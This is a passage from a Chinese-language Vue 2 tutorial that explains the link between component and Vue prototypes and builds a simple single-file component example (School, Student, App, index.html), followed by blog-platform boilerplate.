      // console.log('#',hello)
    
      // 创建vm
      const vm = new Vue({
        el: '#root',
        components: { school, hello }
      })
    </script>
    

       7)一个重要的内置关系
         一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
         为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法
          例:main.js中Vue.prototype.Axios = Axios;
          组件xxx.vue中this.Axios({});
      B.单文件组件
       1)单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式
         来做个单文件组件的案例:
        a. School.vue

    <template>
    	<div class="demo">
    		<h2>学校名称:{{name}}</h2>
    		<h2>学校地址:{{address}}</h2>
    		<button @click="showName">点我提示学校名</button>	
    	</div>
    </template>
    
    <script>
    	 export default {
    		name:'School',
    		data(){
    			return {
    				name:'尚硅谷',
    				address:'北京昌平'
    			}
    		},
    		methods: {
    			showName(){
    				alert(this.name)
    			}
    		},
    	}
        //上面是下面的精简版
        const school = Vue.extend({
    		name:'School',
    		data(){
    			return {
    				name:'尚硅谷',
    				address:'北京昌平'
    			}
    		},
    		methods: {
    			showName(){
    				alert(this.name)
    			}
    		},
    	})
        export default school;
    </script>
    
    <style>
    	.demo{
    		background-color: orange;
    	}
    </style>
    

        b. Student.vue

    <template>
    	<div>
    		<h2>学生姓名:{{name}}</h2>
    		<h2>学生年龄:{{age}}</h2>
    	</div>
    </template>
    
    <script>
    	 export default {
    		name:'Student',
    		data(){
    			return {
    				name:'张三',
    				age:18
    			}
    		}
    	}
    </script>
    

        c. App.vue
          用来汇总所有的组件(大总管)

    <template>
    	<div>
    		<School></School>
    		<Student></Student>
    	</div>
    </template>
    
    <script>
    	//引入组件
    	import School from './School.vue'
    	import Student from './Student.vue'
    
    	export default {
    		name:'App',
    		components:{
    			School,
    			Student
    		}
    	}
    </script>
    

        d. main.js
          在这个文件里面创建 vue 实例

    在这个文件里面创建 vue 实例
    

        e. index.html
          在这写 vue 要绑定的容器

    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>练习一下单文件组件的语法</title>
    	</head>
    	<body>
    		<!-- 准备一个容器 -->
    		<div id="root"></div>
            <script type="text/javascript" src="../js/vue.js"></script>
    		<script type="text/javascript" src="./main.js"></script>
    	</body>
    </html>
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值